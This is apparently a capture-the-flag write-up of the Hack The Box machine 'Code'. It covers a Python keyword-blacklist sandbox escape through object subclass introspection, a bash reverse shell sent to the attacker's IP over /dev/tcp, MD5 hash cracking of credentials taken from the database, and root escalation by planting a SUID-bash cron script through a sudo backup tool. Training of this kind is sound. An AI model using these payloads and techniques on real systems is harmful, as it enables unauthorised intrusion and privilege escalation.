Code - HTB Machine
Code
is a Hack The Box machine released on 22 Mar 2025
Summary (How?)
We’re presented with a Python-based code editor exposed via a web application, allowing users to write, save, and execute Python scripts. However, execution is limited by a blacklist of restricted keywords, making direct command execution impossible at first glance. The first part of the challenge involves bypassing these restrictions to achieve Remote Code Execution (RCE).
To do so, we leverage object-oriented introspection to enumerate loaded Python subclasses and locate the index of the sys
module. With access to sys.modules
, we enumerate all loaded modules and identify one that exposes a call
function—specifically, subprocess.call()
—which enables us to execute system commands and obtain a reverse shell.
With a foothold on the machine, we escalate privileges by abusing a functionality in the backy
binary, which can sync arbitrary directories. By crafting a malicious task that writes a cronjob to /etc/cron.hourly
, we achieve execution as root
, allowing us to drop a SUID-enabled shell binary and retrieve the final flag.
Enumeration
Let’s code!
nmap scan
└─$ nmap -sC -sV $IP -oN nmap-basic
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-11 11:42 EDT
Nmap scan report for code.htb (10.10.11.62)
Host is up (0.17s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 b5:b9:7c:c4:50:32:95:bc:c2:65:17:df:51:a2:7a:bd (RSA)
| 256 94:b5:25:54:9b:68:af:be:40:e1:1d:a8:6b:85:0d:01 (ECDSA)
|_ 256 12:8c:dc:97:ad:86:00:b4:88:e2:29:cf:69:b5:65:96 (ED25519)
5000/tcp open http Gunicorn 20.0.4
|_http-server-header: gunicorn/20.0.4
|_http-title: Python Code Editor
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.82 seconds
There is a Gunicorn web server. Gunicorn (Green Unicorn) is a Python WSGI HTTP server used to run Python web applications like Flask, Django, or FastAPI in production.
Initial page
It’s a code editor and executor
It’s interesting that we are able to login/register
Many words are restricted.
You can save scripts with restricted word, but not execute them
Created an account and saved a code. Upon hover it shows the link: code_id=8
Request to create a post
Request to delete a post
Restricted words identified
eval
read
import
system
open
close
write
__builtins__
execl
os
subprocess
Command execution request
Endpoint: /run_code
Users with shell
martin@code:~/backup-root$ cat /etc/passwd | grep /bin/bash
root:x:0:0:root:/root:/bin/bash
app-production:x:1001:1001:,,,:/home/app-production:/bin/bash
martin:x:1000:1000:,,,:/home/martin:/bin/bash
CVE-2024-1135
According to huntr, Gunicorn 20.0.4 is vulnerable to HTTP Request Smuggling
After trying luck with some payloads, I got to the conclusion that since we are accessing directly the backend server (presumably) there’s no front end server, so the entire idea of HTTP Request Smuggling fails
I had a glimpse of hope that maybe in the same machine there were running both of them with the frontend doing the job of filtering commands, in that case maybe we could have sent a request with the forbidden words.
I leave this discovery as it’s something in a real-world engagement I would share with the client.
RCE & User Flag - Escaping python
Every Python class (directly or indirectly) inherits from object
, so this gives you a list of all classes currently loaded in memory that inherit directly from object
.
We’re then checking whether any of these classes, when instantiated, give access to a _module
object whose internal __dict__
contains a reference to 'sys'
.
What is sys
?
sys
is a built-in Python module that provides access to:
sys.modules
→ all loaded modulessys.argv
→ command-line argumentssys.stdout
,sys.stderr
→ standard output/error streamssys.executable
,sys.path
, etc.
for i, c in enumerate((()).__class__.__base__.__subclasses__()):
try:
m = c()._module.__dict__
if 'sys' in m:
print(i)
break
except: pass
Code in detail:
(()).__class__.__base__.__subclasses__()
()
is a tuple. Its class is<class 'tuple'>
.().__class__.__base__
gives the base class oftuple
, which isobject
.object.__subclasses__()
returns a list of all currently loaded subclasses ofobject
. This includes many built-in and user-defined classes.
for i, c in enumerate(...)
- Iterates through all subclasses of
object
, keeping track of the indexi
and the subclassc
.
c()._module.__dict__
- Attempts to instantiate the subclass
c()
and access its_module
attribute. - Then it tries to access the
__dict__
of that module, which is a dictionary containing its attributes.
if 'sys' in m:
- Checks if the string
'sys'
is one of the keys in the module’s dictionary — i.e., if thesys
module is somehow imported or referenced in that module.
print(i); break
- If
'sys'
is found, prints the indexi
of the subclass and breaks the loop
Once we know the index of sys, we can further enumerate its components to see which modules are available.
# Prints loaded modules names
print((()).__class__.__base__.__subclasses__()[139]()._module.__dict__['sys'].__dict__['modules'].keys())
Here I tried several ways to get a shell, even managed to get a connection back using the socket
module, but the key was the following search in which we look for a function that has an attribute call
and, in case of finding it, we print its documentation
# Here we are accessing the available modules (not just their names)
m=(()).__class__.__base__.__subclasses__()[139]()._module.__dict__['sys'].modules
for k in m:
# If a module has a call attribute, print its built in documentation
if m[k].__class__.__name__ == 'module' and hasattr(m[k], 'call'):
f = m[k].call
print(k, f.__class__, getattr(f, '__doc__', 'No doc'))
break
Which returned
subprocess <class ‘function’> Run command with arguments. Wait for command to complete or timeout, then return the returncode attribute. The arguments are the same as for the Popen constructor. Example: retcode = call([“ls”, “-l”])
This is just what we need, ladies and gentleman, Remote Code Execution.
Finally, we use this function to get a reverse shell
m=(()).__class__.__base__.__subclasses__()[139]()._module.__dict__['sys'].modules
for k in m:
if m[k].__class__.__name__ == 'module' and hasattr(m[k], 'call'):
f = m[k].call
break
f(["/bin/bash", "-c", "bash -i >& /dev/tcp/10.10.14.177/9001 0>&1"])
YEEES
┌──(kali㉿kali)-[~/htb-machines/2025/nocturnal]
└─$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.177] from (UNKNOWN) [10.10.11.62] 43902
bash: cannot set terminal process group (1036): Inappropriate ioctl for device
bash: no job control in this shell
app-production@code:~/app$
app-production@code:~/app$ whoami
whoami
app-production
app-production@code:~/app$ python3 -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
app-production@code:~/app$
And here is the user flag…
app-production@code:~/app$ cd /home/app-production
cd /home/app-production
app-production@code:~$ ls
ls
app user.txt
app-production@code:~$ cat user.txt
**cat user.txt**
2346be1714c2b6c7e
Enumeration inside the box
It looks as we’re inside the app folder and have access to the source code…
app-production@code:~/app$ ls
ls
app.py instance __pycache__ static templates
Interesting parts of the source code. Here we can see the poor validation in place (We managed to find all the restricted words!)
app-production@code:~/app$ cat app.py
cat app.py
from flask import Flask, render_template,render_template_string, request, jsonify, redirect, url_for, session, flash
from flask_sqlalchemy import SQLAlchemy
import sys
import io
import os
import hashlib
app = Flask(__name__)
app.config['SECRET_KEY'] = "7j4D5htxLHUiffsjLXB1z9GaZ5"
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///database.db'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
db = SQLAlchemy(app)
[...]
@app.route('/run_code', methods=['POST'])
def run_code():
code = request.form['code']
old_stdout = sys.stdout
redirected_output = sys.stdout = io.StringIO()
try:
for keyword in ['eval', 'exec', 'import', 'open', 'os', 'read', 'system', 'write', 'subprocess', '__import__', '__builtins__']:
if keyword in code.lower():
return jsonify({'output': 'Use of restricted keywords is not allowed.'})
exec(code)
output = redirected_output.getvalue()
except Exception as e:
output = str(e)
finally:
sys.stdout = old_stdout
return jsonify({'output': output})
if __name__ == '__main__':
if not os.path.exists('database.db'):
with app.app_context():
db.create_all()
app.run(host='0.0.0.0', port=5000)
app-production@code:~/app$
Other serivces runnig in the network
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:5000 0.0.0.0:* LISTEN 2548/python3
tcp 0 0 10.10.11.62:5000 10.10.14.177:51904 TIME_WAIT -
tcp 0 0 10.10.11.62:22 10.10.16.18:42854 ESTABLISHED -
tcp 0 300 10.10.11.62:51176 10.10.14.177:9001 ESTABLISHED 2580/python3
tcp6 0 0 :::22 :::* LISTEN -
An interesting database…
app-production@code:~/app$ find / -name "*database.db" 2>/dev/null
find / -name "*database.db" 2>/dev/null
/home/app-production/app/instance/database.db
Becoming martin
Once we access the sqlite
database present in the system we get martin’s password hash.
app-production@code:~/app$ sqlite3 /home/app-production/app/instance/database.db
<lite3 /home/app-production/app/instance/database.db
SQLite version 3.31.1 2020-01-27 19:55:54
Enter ".help" for usage hints.
sqlite> .tables
.tables
code user
sqlite> select * from user;
select * from user;
1|development|759b74ce43947f5f4c91aeddc3e5bad3
2|martin|3de6f30c4a09c27fc71932bfc68474be
Using hashcat
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344384
* Bytes.....: 139921497
* Keyspace..: 14344384
3de6f30c4a09c27fc71932bfc68474be:nafeelswordsmaster
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 0 (MD5)
Hash.Target......: 3de6f30c4a09c27fc71932bfc68474be
Now we can ssh into the machine!
I dont know why I did this. developer’s password
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344384
* Bytes.....: 139921497
* Keyspace..: 14344384
759b74ce43947f5f4c91aeddc3e5bad3:development
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 0 (MD5)
Hash.Target......: 759b74ce43947f5f4c91aeddc3e5bad3
Root flag
Enumeration
Interesting…
martin@code:~$ sudo -l
Matching Defaults entries for martin on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User martin may run the following commands on localhost:
(ALL : ALL) NOPASSWD: /usr/bin/backy.sh
Source of backy.sh
martin@code:~$ cat /usr/bin/backy.sh
#!/bin/bash
if [[ $# -ne 1 ]]; then
/usr/bin/echo "Usage: $0 <task.json>"
exit 1
fi
json_file="$1"
if [[ ! -f "$json_file" ]]; then
/usr/bin/echo "Error: File '$json_file' not found."
exit 1
fi
allowed_paths=("/var/" "/home/")
updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")
/usr/bin/echo "$updated_json" > "$json_file"
directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]')
is_allowed_path() {
local path="$1"
for allowed_path in "${allowed_paths[@]}"; do
if [[ "$path" == $allowed_path* ]]; then
return 0
fi
done
return 1
}
for dir in $directories_to_archive; do
if ! is_allowed_path "$dir"; then
/usr/bin/echo "Error: $dir is not allowed. Only directories under /var/ and /home/ are allowed."
exit 1
fi
done
/usr/bin/backy "$json_file"
Bypass using symlink (didn’t work)
My first shot here was creating a symlink to the /root folder, back this one up and check if the /home, /var
restrictions in backy.sh
were bypassed, but at the end the execution would fail with errors.
martin@code:~$ ls -l attack
total 0
lrwxrwxrwx 1 martin martin 5 Jun 13 15:08 root_symlink -> /root
Continuing with the idea of backing up root’s folder, i decided to bypass the part of the code that was replacing ../
by using some techniques that would replace ${PATH:0:1}
with /
.
/home/martin${PATH:0:1}..${PATH:0:1}..${PATH:0:1}..${PATH:0:1}root
"/home/martin$'\x2e\x2e'/$'\x2e\x2e'/$'\x2e\x2e'/root"
These didn’t work as well. So I desisted with the idea of backing root folder up.
Directories to sync
Investigating baky I found a functionality that would sync
two folders instead of backing one up. And since the restriction is only in directories_to_archive
, we could use directorioes_to_sync
to retrieve /root
content. But there’s a problem here, since the source folder (/root) keeps its permissions when synced we wouldn’t be able to read it. But wait can we write anywhere we want? If that’s correct then maybe we can create a cronjob (which is executed as root) that writes a setuid bash shell in /tmp
. Let’s try this.
First let’s check our crontab
martin@code:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
For a cronjob to execute there are some considerations
/etc/cron.d
jobs (executed every 1 minute) must- Be in the crontab format
- Owned by root
/etc/cron.hourly|daily|weekly
- Be executables
These are the basic ones, and true for this system: 20.04.6 LTS (Focal Fossa)
With this in mind now we know that we cannot use /etc/cron.d
as the files are written with the ownership and permission from the source, in this case, martin. So let’s build an executable that would run hourly (typically at minute 17 in Ubuntu) as root which give us a SETUID bash executable.
Crafting the payload. Here keep in mind that pwn
cannot be named pwn.sh
, but if it contains #!/bin/bash
at the beginning, then it will be executed as a script.
cat > /home/martin/pwn << 'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod 4755 /tmp/rootbash
EOF
chmod 755 /home/martin/pwn
Then we’ll create a task.json
file with the instructions. The key here is the destination /etc/cron.hourly
and the origin as our malicious executable pwn
.
{
"verbose_log": false,
"multiprocessing": false,
"destination": "/etc/cron.hourly",
"archiving_cycle": "daily",
"exclude": [],
"directories_to_sync": [ "/home/martin/pwn" ],
"directories_to_archive": [ "/home/martin" ]
}
Let’s check the result
martin@code:~$ ls -l /etc/cron.hourly
total 16
-rw-r--r-- 1 root root 9780 Jun 18 19:28 code_home_martin_2025_June_18.tar.bz2
-rwxr-xr-x 1 martin martin 64 Jun 18 19:27 pwn
And after a while a file appears at /tmp…
martin@code:~$ ls /tmp
rootbash
martin@code:~$ ls -la /tmp
total 1164
drwxrwxrwt 2 root root 4096 Jun 14 05:17 .
drwxr-xr-x 18 root root 4096 Feb 24 19:44 ..
-rwsr-xr-x 1 root root 1183448 Jun 14 05:17 rootbash
The key here is that it’s a binary owned by root with the SETUID bit set (rws
), meaning it executes with the owner’s UID (root). If it spawns a bash shell, using bash -p
ensures the shell preserves those elevated privileges.
martin@code:~$ /tmp/rootbash -p
rootbash-5.0# id
uid=1000(martin) gid=1000(martin) euid=0(root) groups=1000(martin)
rootbash-5.0# cat /root/root.txt
a8bb32d0449e972da